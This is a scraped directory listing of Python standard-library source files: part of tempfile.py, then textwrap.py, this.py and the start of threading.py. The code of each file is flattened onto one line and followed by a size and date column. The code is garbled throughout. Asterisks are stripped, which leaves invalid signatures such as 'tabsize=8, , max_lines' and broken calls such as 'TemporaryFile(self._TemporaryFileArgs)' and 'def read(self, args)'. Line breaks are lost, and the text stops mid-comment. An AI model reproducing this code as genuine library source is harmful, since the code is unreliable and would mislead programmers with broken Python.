returns the file # object itself, which has a close method, and thus the file would get # closed when the generator is finalized, due to PEP380 semantics. for line in self.file: yield line def NamedTemporaryFile(mode='w+b', buffering=-1, encoding=None, newline=None, suffix=None, prefix=None, dir=None, delete=True): """Create and return a temporary file. Arguments: 'prefix', 'suffix', 'dir' -- as for mkstemp. 'mode' -- the mode argument to io.open (default "w+b"). 'buffering' -- the buffer size argument to io.open (default -1). 'encoding' -- the encoding argument to io.open (default None) 'newline' -- the newline argument to io.open (default None) 'delete' -- whether the file is deleted on close (default True). The file is created as mkstemp() would do it. Returns an object with a file-like interface; the name of the file is accessible as its 'name' attribute. The file will be automatically deleted when it is closed unless the 'delete' argument is set to False. """ prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir) flags = _bin_openflags # Setting O_TEMPORARY in the flags causes the OS to delete # the file when it is closed. This is only supported by Windows. if _os.name == 'nt' and delete: flags \|= _os.O_TEMPORARY (fd, name) = _mkstemp_inner(dir, prefix, suffix, flags, output_type) try: file = _io.open(fd, mode, buffering=buffering, newline=newline, encoding=encoding) return _TemporaryFileWrapper(file, name, delete) except BaseException: _os.unlink(name) _os.close(fd) raise if _os.name != 'posix' or _os.sys.platform == 'cygwin': # On non-POSIX and Cygwin systems, assume that we cannot unlink a file # while it is open. TemporaryFile = NamedTemporaryFile else: # Is the O_TMPFILE flag available and does it work? # The flag is set to False if os.open(dir, os.O_TMPFILE) raises an # IsADirectoryError exception _O_TMPFILE_WORKS = hasattr(_os, 'O_TMPFILE') def TemporaryFile(mode='w+b', buffering=-1, encoding=None, newline=None, suffix=None, prefix=None, dir=None): """Create and return a temporary file. Arguments: 'prefix', 'suffix', 'dir' -- as for mkstemp. 'mode' -- the mode argument to io.open (default "w+b"). 'buffering' -- the buffer size argument to io.open (default -1). 'encoding' -- the encoding argument to io.open (default None) 'newline' -- the newline argument to io.open (default None) The file is created as mkstemp() would do it. Returns an object with a file-like interface. The file has no name, and will cease to exist when it is closed. """ global _O_TMPFILE_WORKS prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir) flags = _bin_openflags if _O_TMPFILE_WORKS: try: flags2 = (flags \| _os.O_TMPFILE) & ~_os.O_CREAT fd = _os.open(dir, flags2, 0o600) except IsADirectoryError: # Linux kernel older than 3.11 ignores the O_TMPFILE flag: # O_TMPFILE is read as O_DIRECTORY. Trying to open a directory # with O_RDWR\|O_DIRECTORY fails with IsADirectoryError, a # directory cannot be open to write. Set flag to False to not # try again. _O_TMPFILE_WORKS = False except OSError: # The filesystem of the directory does not support O_TMPFILE. # For example, OSError(95, 'Operation not supported'). # # On Linux kernel older than 3.11, trying to open a regular # file (or a symbolic link to a regular file) with O_TMPFILE # fails with NotADirectoryError, because O_TMPFILE is read as # O_DIRECTORY. pass else: try: return _io.open(fd, mode, buffering=buffering, newline=newline, encoding=encoding) except: _os.close(fd) raise # Fallback to _mkstemp_inner(). (fd, name) = _mkstemp_inner(dir, prefix, suffix, flags, output_type) try: _os.unlink(name) return _io.open(fd, mode, buffering=buffering, newline=newline, encoding=encoding) except: _os.close(fd) raise class SpooledTemporaryFile: """Temporary file wrapper, specialized to switch from BytesIO or StringIO to a real file when it exceeds a certain size or when a fileno is needed. """ _rolled = False def __init__(self, max_size=0, mode='w+b', buffering=-1, encoding=None, newline=None, suffix=None, prefix=None, dir=None): if 'b' in mode: self._file = _io.BytesIO() else: self._file = _io.TextIOWrapper(_io.BytesIO(), encoding=encoding, newline=newline) self._max_size = max_size self._rolled = False self._TemporaryFileArgs = {'mode': mode, 'buffering': buffering, 'suffix': suffix, 'prefix': prefix, 'encoding': encoding, 'newline': newline, 'dir': dir} def _check(self, file): if self._rolled: return max_size = self._max_size if max_size and file.tell() > max_size: self.rollover() def rollover(self): if self._rolled: return file = self._file newfile = self._file = TemporaryFile(self._TemporaryFileArgs) del self._TemporaryFileArgs pos = file.tell() if hasattr(newfile, 'buffer'): newfile.buffer.write(file.detach().getvalue()) else: newfile.write(file.getvalue()) newfile.seek(pos, 0) self._rolled = True # The method caching trick from NamedTemporaryFile # won't work here, because _file may change from a # BytesIO/StringIO instance to a real file. So we list # all the methods directly. # Context management protocol def __enter__(self): if self._file.closed: raise ValueError("Cannot enter context with closed file") return self def __exit__(self, exc, value, tb): self._file.close() # file protocol def __iter__(self): return self._file.__iter__() def close(self): self._file.close() @property def closed(self): return self._file.closed @property def encoding(self): try: return self._file.encoding except AttributeError: if 'b' in self._TemporaryFileArgs['mode']: raise return self._TemporaryFileArgs['encoding'] def fileno(self): self.rollover() return self._file.fileno() def flush(self): self._file.flush() def isatty(self): return self._file.isatty() @property def mode(self): try: return self._file.mode except AttributeError: return self._TemporaryFileArgs['mode'] @property def name(self): try: return self._file.name except AttributeError: return None @property def newlines(self): try: return self._file.newlines except AttributeError: if 'b' in self._TemporaryFileArgs['mode']: raise return self._TemporaryFileArgs['newline'] def read(self, args): return self._file.read(args) def readline(self, args): return self._file.readline(args) def readlines(self, args): return self._file.readlines(args) def seek(self, args): return self._file.seek(args) @property def softspace(self): return self._file.softspace def tell(self): return self._file.tell() def truncate(self, size=None): if size is None: self._file.truncate() else: if size > self._max_size: self.rollover() self._file.truncate(size) def write(self, s): file = self._file rv = file.write(s) self._check(file) return rv def writelines(self, iterable): file = self._file rv = file.writelines(iterable) self._check(file) return rv class TemporaryDirectory(object): """Create and return a temporary directory. This has the same behavior as mkdtemp but can be used as a context manager. For example: with TemporaryDirectory() as tmpdir: ... Upon exiting the context, the directory and everything contained in it are removed. """ def __init__(self, suffix=None, prefix=None, dir=None): self.name = mkdtemp(suffix, prefix, dir) self._finalizer = _weakref.finalize( self, self._cleanup, self.name, warn_message="Implicitly cleaning up {!r}".format(self)) @classmethod def _cleanup(cls, name, warn_message): _shutil.rmtree(name) _warnings.warn(warn_message, ResourceWarning) def __repr__(self): return "<{} {!r}>".format(self.__class__.__name__, self.name) def __enter__(self): return self.name def __exit__(self, exc, value, tb): self.cleanup() def cleanup(self): if self._finalizer.detach(): _shutil.rmtree(self.name)	26.1 KB	2024-04-17 17:55
📁 test	-	2025-10-13 08:00
📄 textwrap.py """Text wrapping and filling. """ # Copyright (C) 1999-2001 Gregory P. Ward. # Copyright (C) 2002, 2003 Python Software Foundation. # Written by Greg Ward <gward@python.net> import re __all__ = ['TextWrapper', 'wrap', 'fill', 'dedent', 'indent', 'shorten'] # Hardcode the recognized whitespace characters to the US-ASCII # whitespace characters. The main reason for doing this is that # some Unicode spaces (like \u00a0) are non-breaking whitespaces. _whitespace = '\t\n\x0b\x0c\r ' class TextWrapper: """ Object for wrapping/filling text. The public interface consists of the wrap() and fill() methods; the other methods are just there for subclasses to override in order to tweak the default behaviour. If you want to completely replace the main wrapping algorithm, you'll probably have to override _wrap_chunks(). Several instance attributes control various aspects of wrapping: width (default: 70) the maximum width of wrapped lines (unless break_long_words is false) initial_indent (default: "") string that will be prepended to the first line of wrapped output. Counts towards the line's width. subsequent_indent (default: "") string that will be prepended to all lines save the first of wrapped output; also counts towards each line's width. expand_tabs (default: true) Expand tabs in input text to spaces before further processing. Each tab will become 0 .. 'tabsize' spaces, depending on its position in its line. If false, each tab is treated as a single character. tabsize (default: 8) Expand tabs in input text to 0 .. 'tabsize' spaces, unless 'expand_tabs' is false. replace_whitespace (default: true) Replace all whitespace characters in the input text by spaces after tab expansion. Note that if expand_tabs is false and replace_whitespace is true, every tab will be converted to a single space! fix_sentence_endings (default: false) Ensure that sentence-ending punctuation is always followed by two spaces. Off by default because the algorithm is (unavoidably) imperfect. break_long_words (default: true) Break words longer than 'width'. If false, those words will not be broken, and some lines might be longer than 'width'. break_on_hyphens (default: true) Allow breaking hyphenated words. If true, wrapping will occur preferably on whitespaces and right after hyphens part of compound words. drop_whitespace (default: true) Drop leading and trailing whitespace from lines. max_lines (default: None) Truncate wrapped lines. placeholder (default: ' [...]') Append to the last line of truncated text. """ unicode_whitespace_trans = {} uspace = ord(' ') for x in _whitespace: unicode_whitespace_trans[ord(x)] = uspace # This funky little regex is just the trick for splitting # text up into word-wrappable chunks. E.g. # "Hello there -- you goof-ball, use the -b option!" # splits into # Hello/ /there/ /--/ /you/ /goof-/ball,/ /use/ /the/ /-b/ /option! # (after stripping out empty strings). word_punct = r'[\w!"\'&.,?]' letter = r'[^\d\W]' whitespace = r'[%s]' % re.escape(_whitespace) nowhitespace = '[^' + whitespace[1:] wordsep_re = re.compile(r''' ( # any whitespace %(ws)s+ \| # em-dash between words (?<=%(wp)s) -{2,} (?=\w) \| # word, possibly hyphenated %(nws)s+? (?: # hyphenated word -(?: (?<=%(lt)s{2}-) \| (?<=%(lt)s-%(lt)s-)) (?= %(lt)s -? %(lt)s) \| # end of word (?=%(ws)s\|\Z) \| # em-dash (?<=%(wp)s) (?=-{2,}\w) ) )''' % {'wp': word_punct, 'lt': letter, 'ws': whitespace, 'nws': nowhitespace}, re.VERBOSE) del word_punct, letter, nowhitespace # This less funky little regex just split on recognized spaces. E.g. # "Hello there -- you goof-ball, use the -b option!" # splits into # Hello/ /there/ /--/ /you/ /goof-ball,/ /use/ /the/ /-b/ /option!/ wordsep_simple_re = re.compile(r'(%s+)' % whitespace) del whitespace # XXX this is not locale- or charset-aware -- string.lowercase # is US-ASCII only (and therefore English-only) sentence_end_re = re.compile(r'[a-z]' # lowercase letter r'[\.\!\?]' # sentence-ending punct. r'[\"\']?' # optional end-of-quote r'\Z') # end of chunk def __init__(self, width=70, initial_indent="", subsequent_indent="", expand_tabs=True, replace_whitespace=True, fix_sentence_endings=False, break_long_words=True, drop_whitespace=True, break_on_hyphens=True, tabsize=8, , max_lines=None, placeholder=' [...]'): self.width = width self.initial_indent = initial_indent self.subsequent_indent = subsequent_indent self.expand_tabs = expand_tabs self.replace_whitespace = replace_whitespace self.fix_sentence_endings = fix_sentence_endings self.break_long_words = break_long_words self.drop_whitespace = drop_whitespace self.break_on_hyphens = break_on_hyphens self.tabsize = tabsize self.max_lines = max_lines self.placeholder = placeholder # -- Private methods ----------------------------------------------- # (possibly useful for subclasses to override) def _munge_whitespace(self, text): """_munge_whitespace(text : string) -> string Munge whitespace in text: expand tabs and convert all other whitespace characters to spaces. Eg. " foo\\tbar\\n\\nbaz" becomes " foo bar baz". """ if self.expand_tabs: text = text.expandtabs(self.tabsize) if self.replace_whitespace: text = text.translate(self.unicode_whitespace_trans) return text def _split(self, text): """_split(text : string) -> [string] Split the text to wrap into indivisible chunks. Chunks are not quite the same as words; see _wrap_chunks() for full details. As an example, the text Look, goof-ball -- use the -b option! breaks into the following chunks: 'Look,', ' ', 'goof-', 'ball', ' ', '--', ' ', 'use', ' ', 'the', ' ', '-b', ' ', 'option!' if break_on_hyphens is True, or in: 'Look,', ' ', 'goof-ball', ' ', '--', ' ', 'use', ' ', 'the', ' ', '-b', ' ', option!' otherwise. """ if self.break_on_hyphens is True: chunks = self.wordsep_re.split(text) else: chunks = self.wordsep_simple_re.split(text) chunks = [c for c in chunks if c] return chunks def _fix_sentence_endings(self, chunks): """_fix_sentence_endings(chunks : [string]) Correct for sentence endings buried in 'chunks'. Eg. when the original text contains "... foo.\\nBar ...", munge_whitespace() and split() will convert that to [..., "foo.", " ", "Bar", ...] which has one too few spaces; this method simply changes the one space to two. """ i = 0 patsearch = self.sentence_end_re.search while i < len(chunks)-1: if chunks[i+1] == " " and patsearch(chunks[i]): chunks[i+1] = " " i += 2 else: i += 1 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): """_handle_long_word(chunks : [string], cur_line : [string], cur_len : int, width : int) Handle a chunk of text (most likely a word, not whitespace) that is too long to fit in any line. """ # Figure out when indent is larger than the specified width, and make # sure at least one character is stripped off on every pass if width < 1: space_left = 1 else: space_left = width - cur_len # If we're allowed to break long words, then do so: put as much # of the next chunk onto the current line as will fit. if self.break_long_words: cur_line.append(reversed_chunks[-1][:space_left]) reversed_chunks[-1] = reversed_chunks[-1][space_left:] # Otherwise, we have to preserve the long word intact. Only add # it to the current line if there's nothing already there -- # that minimizes how much we violate the width constraint. elif not cur_line: cur_line.append(reversed_chunks.pop()) # If we're not allowed to break long words, and there's already # text on the current line, do nothing. Next time through the # main loop of _wrap_chunks(), we'll wind up here again, but # cur_len will be zero, so the next line will be entirely # devoted to the long word that we can't handle right now. def _wrap_chunks(self, chunks): """_wrap_chunks(chunks : [string]) -> [string] Wrap a sequence of text chunks and return a list of lines of length 'self.width' or less. (If 'break_long_words' is false, some lines may be longer than this.) Chunks correspond roughly to words and the whitespace between them: each chunk is indivisible (modulo 'break_long_words'), but a line break can come between any two chunks. Chunks should not have internal whitespace; ie. a chunk is either all whitespace or a "word". Whitespace chunks will be removed from the beginning and end of lines, but apart from that whitespace is preserved. """ lines = [] if self.width <= 0: raise ValueError("invalid width %r (must be > 0)" % self.width) if self.max_lines is not None: if self.max_lines > 1: indent = self.subsequent_indent else: indent = self.initial_indent if len(indent) + len(self.placeholder.lstrip()) > self.width: raise ValueError("placeholder too large for max width") # Arrange in reverse order so items can be efficiently popped # from a stack of chucks. chunks.reverse() while chunks: # Start the list of chunks that will make up the current line. # cur_len is just the length of all the chunks in cur_line. cur_line = [] cur_len = 0 # Figure out which static string will prefix this line. if lines: indent = self.subsequent_indent else: indent = self.initial_indent # Maximum width for this line. width = self.width - len(indent) # First chunk on line is whitespace -- drop it, unless this # is the very beginning of the text (ie. no lines started yet). if self.drop_whitespace and chunks[-1].strip() == '' and lines: del chunks[-1] while chunks: l = len(chunks[-1]) # Can at least squeeze this chunk onto the current line. if cur_len + l <= width: cur_line.append(chunks.pop()) cur_len += l # Nope, this line is full. else: break # The current line is full, and the next chunk is too big to # fit on any* line (not just this one). if chunks and len(chunks[-1]) > width: self._handle_long_word(chunks, cur_line, cur_len, width) cur_len = sum(map(len, cur_line)) # If the last chunk on this line is all whitespace, drop it. if self.drop_whitespace and cur_line and cur_line[-1].strip() == '': cur_len -= len(cur_line[-1]) del cur_line[-1] if cur_line: if (self.max_lines is None or len(lines) + 1 < self.max_lines or (not chunks or self.drop_whitespace and len(chunks) == 1 and not chunks[0].strip()) and cur_len <= width): # Convert current line back to a string and store it in # list of all lines (return value). lines.append(indent + ''.join(cur_line)) else: while cur_line: if (cur_line[-1].strip() and cur_len + len(self.placeholder) <= width): cur_line.append(self.placeholder) lines.append(indent + ''.join(cur_line)) break cur_len -= len(cur_line[-1]) del cur_line[-1] else: if lines: prev_line = lines[-1].rstrip() if (len(prev_line) + len(self.placeholder) <= self.width): lines[-1] = prev_line + self.placeholder break lines.append(indent + self.placeholder.lstrip()) break return lines def _split_chunks(self, text): text = self._munge_whitespace(text) return self._split(text) # -- Public interface ---------------------------------------------- def wrap(self, text): """wrap(text : string) -> [string] Reformat the single paragraph in 'text' so it fits in lines of no more than 'self.width' columns, and return a list of wrapped lines. Tabs in 'text' are expanded with string.expandtabs(), and all other whitespace characters (including newline) are converted to space. """ chunks = self._split_chunks(text) if self.fix_sentence_endings: self._fix_sentence_endings(chunks) return self._wrap_chunks(chunks) def fill(self, text): """fill(text : string) -> string Reformat the single paragraph in 'text' to fit in lines of no more than 'self.width' columns, and return a new string containing the entire wrapped paragraph. """ return "\n".join(self.wrap(text)) # -- Convenience interface --------------------------------------------- def wrap(text, width=70, kwargs): """Wrap a single paragraph of text, returning a list of wrapped lines. Reformat the single paragraph in 'text' so it fits in lines of no more than 'width' columns, and return a list of wrapped lines. By default, tabs in 'text' are expanded with string.expandtabs(), and all other whitespace characters (including newline) are converted to space. See TextWrapper class for available keyword args to customize wrapping behaviour. """ w = TextWrapper(width=width, kwargs) return w.wrap(text) def fill(text, width=70, kwargs): """Fill a single paragraph of text, returning a new string. Reformat the single paragraph in 'text' to fit in lines of no more than 'width' columns, and return a new string containing the entire wrapped paragraph. As with wrap(), tabs are expanded and other whitespace characters converted to space. See TextWrapper class for available keyword args to customize wrapping behaviour. """ w = TextWrapper(width=width, kwargs) return w.fill(text) def shorten(text, width, *kwargs): """Collapse and truncate the given text to fit in the given width. The text first has its whitespace collapsed. If it then fits in the width, it is returned as is. Otherwise, as many words as possible are joined and then the placeholder is appended:: >>> textwrap.shorten("Hello world!", width=12) 'Hello world!' >>> textwrap.shorten("Hello world!", width=11) 'Hello [...]' """ w = TextWrapper(width=width, max_lines=1, kwargs) return w.fill(' '.join(text.strip().split())) # -- Loosely related functionality ------------------------------------- _whitespace_only_re = re.compile('^[ \t]+$', re.MULTILINE) _leading_whitespace_re = re.compile('(^[ \t])(?:[^ \t\n])', re.MULTILINE) def dedent(text): """Remove any common leading whitespace from every line in `text`. This can be used to make triple-quoted strings line up with the left edge of the display, while still presenting them in the source code in indented form. Note that tabs and spaces are both treated as whitespace, but they are not equal: the lines " hello" and "\\thello" are considered to have no common leading whitespace. Entirely blank lines are normalized to a newline character. """ # Look for the longest leading string of spaces and tabs common to # all lines. margin = None text = _whitespace_only_re.sub('', text) indents = _leading_whitespace_re.findall(text) for indent in indents: if margin is None: margin = indent # Current line more deeply indented than previous winner: # no change (previous winner is still on top). elif indent.startswith(margin): pass # Current line consistent with and no deeper than previous winner: # it's the new winner. elif margin.startswith(indent): margin = indent # Find the largest common whitespace between current line and previous # winner. else: for i, (x, y) in enumerate(zip(margin, indent)): if x != y: margin = margin[:i] break # sanity check (testing/debugging only) if 0 and margin: for line in text.split("\n"): assert not line or line.startswith(margin), \ "line = %r, margin = %r" % (line, margin) if margin: text = re.sub(r'(?m)^' + margin, '', text) return text def indent(text, prefix, predicate=None): """Adds 'prefix' to the beginning of selected lines in 'text'. If 'predicate' is provided, 'prefix' will only be added to the lines where 'predicate(line)' is True. If 'predicate' is not provided, it will default to adding 'prefix' to all non-empty lines that do not consist solely of whitespace characters. """ if predicate is None: def predicate(line): return line.strip() def prefixed_lines(): for line in text.splitlines(True): yield (prefix + line if predicate(line) else line) return ''.join(prefixed_lines()) if __name__ == "__main__": #print dedent("\tfoo\n\tbar") #print dedent(" \thello there\n \t how are you?") print(dedent("Hello there.\n This is indented."))	18.95 KB	2024-04-17 17:55
📄 this.py s = """Gur Mra bs Clguba, ol Gvz Crgref Ornhgvshy vf orggre guna htyl. Rkcyvpvg vf orggre guna vzcyvpvg. Fvzcyr vf orggre guna pbzcyrk. Pbzcyrk vf orggre guna pbzcyvpngrq. Syng vf orggre guna arfgrq. Fcnefr vf orggre guna qrafr. Ernqnovyvgl pbhagf. Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf. Nygubhtu cenpgvpnyvgl orngf chevgl. Reebef fubhyq arire cnff fvyragyl. Hayrff rkcyvpvgyl fvyraprq. Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff. Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg. Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu. Abj vf orggre guna arire. Nygubhtu arire vf bsgra orggre guna evtug abj. Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn. Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn. Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!""" d = {} for c in (65, 97): for i in range(26): d[chr(i+c)] = chr((i+13) % 26 + c) print("".join([d.get(c, c) for c in s]))	1003 B	2024-04-17 17:55
📄 threading.py """Thread module emulating a subset of Java's threading model.""" import os as _os import sys as _sys import _thread from time import monotonic as _time from traceback import format_exc as _format_exc from _weakrefset import WeakSet from itertools import islice as _islice, count as _count try: from _collections import deque as _deque except ImportError: from collections import deque as _deque # Note regarding PEP 8 compliant names # This threading model was originally inspired by Java, and inherited # the convention of camelCase function and method names from that # language. Those original names are not in any imminent danger of # being deprecated (even for Py3k),so this module provides them as an # alias for the PEP 8 compliant names # Note that using the new PEP 8 compliant names facilitates substitution # with the multiprocessing module, which doesn't provide the old # Java inspired names. __all__ = ['get_ident', 'active_count', 'Condition', 'current_thread', 'enumerate', 'main_thread', 'TIMEOUT_MAX', 'Event', 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Thread', 'Barrier', 'BrokenBarrierError', 'Timer', 'ThreadError', 'setprofile', 'settrace', 'local', 'stack_size'] # Rename some stuff so "from threading import " is safe _start_new_thread = _thread.start_new_thread _allocate_lock = _thread.allocate_lock _set_sentinel = _thread._set_sentinel get_ident = _thread.get_ident ThreadError = _thread.error try: _CRLock = _thread.RLock except AttributeError: _CRLock = None TIMEOUT_MAX = _thread.TIMEOUT_MAX del _thread # Support for profile and trace hooks _profile_hook = None _trace_hook = None def setprofile(func): """Set a profile function for all threads started from the threading module. The func will be passed to sys.setprofile() for each thread, before its run() method is called. """ global _profile_hook _profile_hook = func def settrace(func): """Set a trace function for all threads started from the threading module. The func will be passed to sys.settrace() for each thread, before its run() method is called. """ global _trace_hook _trace_hook = func # Synchronization classes Lock = _allocate_lock def RLock(args, *kwargs): """Factory function that returns a new reentrant lock. A reentrant lock must be released by the thread that acquired it. Once a thread has acquired a reentrant lock, the same thread may acquire it again without blocking; the thread must release it once for each time it has acquired it. """ if _CRLock is None: return _PyRLock(args, *kwargs) return _CRLock(args, *kwargs) class _RLock: """This class implements reentrant lock objects. A reentrant lock must be released by the thread that acquired it. Once a thread has acquired a reentrant lock, the same thread may acquire it again without blocking; the thread must release it once for each time it has acquired it. """ def __init__(self): self._block = _allocate_lock() self._owner = None self._count = 0 def __repr__(self): owner = self._owner try: owner = _active[owner].name except KeyError: pass return "<%s %s.%s object owner=%r count=%d at %s>" % ( "locked" if self._block.locked() else "unlocked", self.__class__.__module__, self.__class__.__qualname__, owner, self._count, hex(id(self)) ) def acquire(self, blocking=True, timeout=-1): """Acquire a lock, blocking or non-blocking. When invoked without arguments: if this thread already owns the lock, increment the recursion level by one, and return immediately. Otherwise, if another thread owns the lock, block until the lock is unlocked. Once the lock is unlocked (not owned by any thread), then grab ownership, set the recursion level to one, and return. If more than one thread is blocked waiting until the lock is unlocked, only one at a time will be able to grab ownership of the lock. There is no return value in this case. When invoked with the blocking argument set to true, do the same thing as when called without arguments, and return true. When invoked with the blocking argument set to false, do not block. If a call without an argument would block, return false immediately; otherwise, do the same thing as when called without arguments, and return true. When invoked with the floating-point timeout argument set to a positive value, block for at most the number of seconds specified by timeout and as long as the lock cannot be acquired. Return true if the lock has been acquired, false if the timeout has elapsed. """ me = get_ident() if self._owner == me: self._count += 1 return 1 rc = self._block.acquire(blocking, timeout) if rc: self._owner = me self._count = 1 return rc __enter__ = acquire def release(self): """Release a lock, decrementing the recursion level. If after the decrement it is zero, reset the lock to unlocked (not owned by any thread), and if any other threads are blocked waiting for the lock to become unlocked, allow exactly one of them to proceed. If after the decrement the recursion level is still nonzero, the lock remains locked and owned by the calling thread. Only call this method when the calling thread owns the lock. A RuntimeError is raised if this method is called when the lock is unlocked. There is no return value. """ if self._owner != get_ident(): raise RuntimeError("cannot release un-acquired lock") self._count = count = self._count - 1 if not count: self._owner = None self._block.release() def __exit__(self, t, v, tb): self.release() # Internal methods used by condition variables def _acquire_restore(self, state): self._block.acquire() self._count, self._owner = state def _release_save(self): if self._count == 0: raise RuntimeError("cannot release un-acquired lock") count = self._count self._count = 0 owner = self._owner self._owner = None self._block.release() return (count, owner) def _is_owned(self): return self._owner == get_ident() _PyRLock = _RLock class Condition: """Class that implements a condition variable. A condition variable allows one or more threads to wait until they are notified by another thread. If the lock argument is given and not None, it must be a Lock or RLock object, and it is used as the underlying lock. Otherwise, a new RLock object is created and used as the underlying lock. """ def __init__(self, lock=None): if lock is None: lock = RLock() self._lock = lock # Export the lock's acquire() and release() methods self.acquire = lock.acquire self.release = lock.release # If the lock defines _release_save() and/or _acquire_restore(), # these override the default implementations (which just call # release() and acquire() on the lock). Ditto for _is_owned(). try: self._release_save = lock._release_save except AttributeError: pass try: self._acquire_restore = lock._acquire_restore except AttributeError: pass try: self._is_owned = lock._is_owned except AttributeError: pass self._waiters = _deque() def __enter__(self): return self._lock.__enter__() def __exit__(self, args): return self._lock.__exit__(args) def __repr__(self): return "<Condition(%s, %d)>" % (self._lock, len(self._waiters)) def _release_save(self): self._lock.release() # No state to save def _acquire_restore(self, x): self._lock.acquire() # Ignore saved state def _is_owned(self): # Return True if lock is owned by current_thread. # This method is called only if _lock doesn't have _is_owned(). if self._lock.acquire(0): self._lock.release() return False else: return True def wait(self, timeout=None): """Wait until notified or until a timeout occurs. If the calling thread has not acquired the lock when this method is called, a RuntimeError is raised. This method releases the underlying lock, and then blocks until it is awakened by a notify() or notify_all() call for the same condition variable in another thread, or until the optional timeout occurs. Once awakened or timed out, it re-acquires the lock and returns. When the timeout argument is present and not None, it should be a floating point number specifying a timeout for the operation in seconds (or fractions thereof). When the underlying lock is an RLock, it is not released using its release() method, since this may not actually unlock the lock when it was acquired multiple times recursively. Instead, an internal interface of the RLock class is used, which really unlocks it even when it has been recursively acquired several times. Another internal interface is then used to restore the recursion level when the lock is reacquired. """ if not self._is_owned(): raise RuntimeError("cannot wait on un-acquired lock") waiter = _allocate_lock() waiter.acquire() self._waiters.append(waiter) saved_state = self._release_save() gotit = False try: # restore state no matter what (e.g., KeyboardInterrupt) if timeout is None: waiter.acquire() gotit = True else: if timeout > 0: gotit = waiter.acquire(True, timeout) else: gotit = waiter.acquire(False) return gotit finally: self._acquire_restore(saved_state) if not gotit: try: self._waiters.remove(waiter) except ValueError: pass def wait_for(self, predicate, timeout=None): """Wait until a condition evaluates to True. predicate should be a callable which result will be interpreted as a boolean value. A timeout may be provided giving the maximum time to wait. """ endtime = None waittime = timeout result = predicate() while not result: if waittime is not None: if endtime is None: endtime = _time() + waittime else: waittime = endtime - _time() if waittime <= 0: break self.wait(waittime) result = predicate() return result def notify(self, n=1): """Wake up one or more threads waiting on this condition, if any. If the calling thread has not acquired the lock when this method is called, a RuntimeError is raised. This method wakes up at most n of the threads waiting for the condition variable; it is a no-op if no threads are waiting. """ if not self._is_owned(): raise RuntimeError("cannot notify on un-acquired lock") all_waiters = self._waiters waiters_to_notify = _deque(_islice(all_waiters, n)) if not waiters_to_notify: return for waiter in waiters_to_notify: waiter.release() try: all_waiters.remove(waiter) except ValueError: pass def notify_all(self): """Wake up all threads waiting on this condition. If the calling thread has not acquired the lock when this method is called, a RuntimeError is raised. """ self.notify(len(self._waiters)) notifyAll = notify_all class Semaphore: """This class implements semaphore objects. Semaphores manage a counter representing the number of release() calls minus the number of acquire() calls, plus an initial value. The acquire() method blocks if necessary until it can return without making the counter negative. If not given, value defaults to 1. """ # After Tim Peters' semaphore class, but not quite the same (no maximum) def __init__(self, value=1): if value < 0: raise ValueError("semaphore initial value must be >= 0") self._cond = Condition(Lock()) self._value = value def acquire(self, blocking=True, timeout=None): """Acquire a semaphore, decrementing the internal counter by one. When invoked without arguments: if the internal counter is larger than zero on entry, decrement it by one and return immediately. If it is zero on entry, block, waiting until some other thread has called release() to make it larger than zero. This is done with proper interlocking so that if multiple acquire() calls are blocked, release() will wake exactly one of them up. The implementation may pick one at random, so the order in which blocked threads are awakened should not be relied on. There is no return value in this case. When invoked with blocking set to true, do the same thing as when called without arguments, and return true. When invoked with blocking set to false, do not block. If a call without an argument would block, return false immediately; otherwise, do the same thing as when called without arguments, and return true. When invoked with a timeout other than None, it will block for at most timeout seconds. If acquire does not complete successfully in that interval, return false. Return true otherwise. """ if not blocking and timeout is not None: raise ValueError("can't specify timeout for non-blocking acquire") rc = False endtime = None with self._cond: while self._value == 0: if not blocking: break if timeout is not None: if endtime is None: endtime = _time() + timeout else: timeout = endtime - _time() if timeout <= 0: break self._cond.wait(timeout) else: self._value -= 1 rc = True return rc __enter__ = acquire def release(self): """Release a semaphore, incrementing the internal counter by one. When the counter is zero on entry and another thread is waiting for it to become larger than zero again, wake up that thread. """ with self._cond: self._value += 1 self._cond.notify() def __exit__(self, t, v, tb): self.release() class BoundedSemaphore(Semaphore): """Implements a bounded semaphore. A bounded semaphore checks to make sure its current value doesn't exceed its initial value. If it does, ValueError is raised. In most situations semaphores are used to guard resources with limited capacity. If the semaphore is released too many times it's a sign of a bug. If not given, value defaults to 1. Like regular semaphores, bounded semaphores manage a counter representing the number of release() calls minus the number of acquire() calls, plus an initial value. The acquire() method blocks if necessary until it can return without making the counter negative. If not given, value defaults to 1. """ def __init__(self, value=1): Semaphore.__init__(self, value) self._initial_value = value def release(self): """Release a semaphore, incrementing the internal counter by one. When the counter is zero on entry and another thread is waiting for it to become larger than zero again, wake up that thread. If the number of releases exceeds the number of acquires, raise a ValueError. """ with self._cond: if self._value >= self._initial_value: raise ValueError("Semaphore released too many times") self._value += 1 self._cond.notify() class Event: """Class implementing event objects. Events manage a flag that can be set to true with the set() method and reset to false with the clear() method. The wait() method blocks until the flag is true. The flag is initially false. """ # After Tim Peters' event class (without is_posted()) def __init__(self): self._cond = Condition(Lock()) self._flag = False def _reset_internal_locks(self): # private! called by Thread._reset_internal_locks by _after_fork() self._cond.__init__(Lock()) def is_set(self): """Return true if and only if the internal flag is true.""" return self._flag isSet = is_set def set(self): """Set the internal flag to true. All threads waiting for it to become true are awakened. Threads that call wait() once the flag is true will not block at all. """ with self._cond: self._flag = True self._cond.notify_all() def clear(self): """Reset the internal flag to false. Subsequently, threads calling wait() will block until set() is called to set the internal flag to true again. """ with self._cond: self._flag = False def wait(self, timeout=None): """Block until the internal flag is true. If the internal flag is true on entry, return immediately. Otherwise, block until another thread calls set() to set the flag to true, or until the optional timeout occurs. When the timeout argument is present and not None, it should be a floating point number specifying a timeout for the operation in seconds (or fractions thereof). This method returns the internal flag on exit, so it will always return True except if a timeout is given and the operation times out. """ with self._cond: signaled = self._flag if not signaled: signaled = self._cond.wait(timeout) return signaled # A barrier class. Inspired in part by the pthread_barrier_ api and # the CyclicBarrier class from 